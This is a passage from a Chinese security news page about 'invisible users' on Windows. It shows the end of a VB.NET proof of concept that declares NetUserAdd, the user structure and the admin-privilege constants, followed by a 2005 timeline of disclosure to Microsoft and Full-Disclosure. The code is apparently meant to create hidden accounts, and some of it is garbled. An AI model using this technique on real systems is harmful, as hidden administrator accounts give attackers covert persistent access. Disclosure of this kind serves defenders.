网络安全 频道

Windows上的隐身用户

 Console.WriteLine("ERROR_ACCESS_DENIED")

        Case NativeWin32.Errors.NERR_GroupExists

            Console.WriteLine("NERR_GroupExists")

        Case NativeWin32.Errors.NERR_InvalidComputer

            Console.WriteLine("NERR_InvalidComputer")

        Case NativeWin32.Errors.NERR_PasswordTooShort

            Console.WriteLine("NERR_PasswordTooShort")

        Case NativeWin32.Errors.NERR_UserExists

            Console.WriteLine("NERR_UserExists")

        Case Else

            Console.WriteLine("Error: {0:n}", retval)

        End Select

    End Sub

 

    Public Class NativeWin32

        Public Class NetApi32

            Public Const USER_PRIV_MASK As UInt32 = &H3

            Public Const USER_PRIV_GUEST As UInt32 = 0

            Public Const USER_PRIV_USER As UInt32 = 1

            Public Const USER_PRIV_ADMIN As UInt32 = 2

 

            Public Const UF_SCRIPT As UInt32 = &H1

            Public Const UF_ACCOUNTDISABLE As UInt32 = &H2

            Public Const UF_HOMEDIR_REQUIRED As UInt32 = &H8

            Public Const UF_LOCKOUT As UInt32 = &H10

            Public Const UF_PASSWD_NOTREQD As UInt32 = &H20

            Public Const UF_PASSWD_CANT_CHANGE As UInt32 = &H40

            Public Const UF_ENCRYPTED_TEXT_PASSWORD_ALLOWED As UInt32 = &H80  <StructLayout(LayoutKind.Sequential, _

            CharSet:=CharSet.Auto)> _

             Public Structure USER_INFO_1

 

                <MarshalAs(UnmanagedType.LPWStr)> _

                Dim usri1_name As LPWSTR

 

                <MarshalAs(UnmanagedType.LPWStr)> _

                Dim usri1_password As LPWSTR

 

                Dim usri1_password_age As DWORD

 

                Dim usri1_priv As DWORD

 

                <MarshalAs(UnmanagedType.LPWStr)> _

                Dim usri1_home_dir As LPWSTR

 

                <MarshalAs(UnmanagedType.LPWStr)> _

                Dim usri1_comment As LPWSTR

 

                Dim usri1_flags As DWORD

 

                <MarshalAs(UnmanagedType.LPWStr)> _

                Dim usri1_script_path As LPWSTR

 

            End Structure

 

 

            <DllImport("Netapi32.dll", _

            CallingConvention:=CallingConvention.Winapi, _

            CharSet:=CharSet.Auto, _SetLastError:=True)> _

            Public Shared Function NetUserAdd( _

             <[In]()> ByVal servername As LMSTR, _

             <[In]()> ByVal level As DWORD, _

             <[In]()> ByRef buf As USER_INFO_1, _

             <Out()> ByRef parm_err As DWORD _

             ) As NET_API_STATUS

 

            End Function

 

        End Class

 

    Public Class Errors

        ''selected error constants

        Public Const NERR_Success As UInt32 = 0

        Public Const ERROR_ACCESS_DENIED As UInt32 = 5

        Public Const NERR_BASE As UInt32 = 2100

        Public Const NERR_InvalidComputer As UInt32 = (NERR_BASE + 251)

        Public Const NERR_PasswordTooShort As UInt32 = (NERR_BASE + 145)

        Public Const NERR_UserExists As UInt32 = (NERR_BASE + 124)

        Public Const NERR_GroupExists As UInt32 = (NERR_BASE + 123)

        End Class

    End Class

End Module

 

Timeline 

Security Issue Discovered Late June 2005

Microsoft Security Response Center Notified July 28, 2005

Microsoft SRC Response (Case Number 6111) July 28, 2005

Published on NewOrder.box.sk July 31, 2005

Published on Full-Disclosure August 3, 2005

http://www.hacker.cn/News/xtaq/2006-7/4/067409121815057_5.shtml
0
相关文章